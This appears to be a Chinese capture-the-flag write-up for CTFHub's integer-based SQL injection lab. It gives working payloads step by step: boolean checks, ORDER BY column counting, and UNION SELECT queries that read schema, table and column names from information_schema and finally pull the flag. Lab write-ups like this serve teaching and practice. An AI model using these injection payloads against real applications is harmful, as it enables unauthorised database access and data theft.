CTFHUB技能树之SQL——整数型注入

开启靶场,打开链接:

直接指明是SQL整数型注入,但还是来判断一下


(1)检查是否存在注入点

1 and 1=1#

返回正确

1 and 1=2#

返回错误

说明存在SQL整数型注入


(2)猜字段数

1 order by 2#

1 order by 3#

说明字段数是2


(3)爆数据库名

1 and 1=2 union select 1,database()#

得知数据库名是sqli


(4)爆表名

1 and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli'#

显示表名是news表和flag表,其中flag表是我们需要的


(5)爆列名

1 and 1=2 union select 1,column_name from information_schema.columns where table_schema='sqli' and table_name='flag'#

得知flag表的列名是flag


(6)爆字段内容(flag)

1 and 1=2 union select 1,group_concat(flag) from sqli.flag#

成功的得到flag:

ctfhub{0bdb6d621fc76a06fde34a00}

这里用sqlmap也是可以的,但我提前交了就不想再费时间重开一遍靶场了,待会就在"字符型注入"中试试了

相关推荐
_李小白4 分钟前
【OSG学习笔记】Day 2: Hello Cow
笔记·学习
setmoon21415 分钟前
使用Scikit-learn构建你的第一个机器学习模型
jvm·数据库·python
鹭天21 分钟前
Langchain学习笔记
笔记·学习·langchain
2401_833197731 小时前
为你的Python脚本添加图形界面(GUI)
jvm·数据库·python
执笔画情ora1 小时前
oracle数据库优化-表碎片优化性能。
数据库·oracle
GLDbalala1 小时前
GPU PRO 5 - 1.2 Reducing Texture Memory Usage by 2-Channel Color Encoding 笔记
笔记
IT19951 小时前
Docker笔记-对docker-compose.yml基本认识
笔记·docker·容器
givemeacar1 小时前
Spring Boot中集成MyBatis操作数据库详细教程
数据库·spring boot·mybatis
skiy1 小时前
MySQL Workbench菜单汉化为中文
android·数据库·mysql
IvorySQL1 小时前
PostgreSQL 技术日报 (3月24日)|当 MVCC 成本被重新审视
数据库·postgresql·开源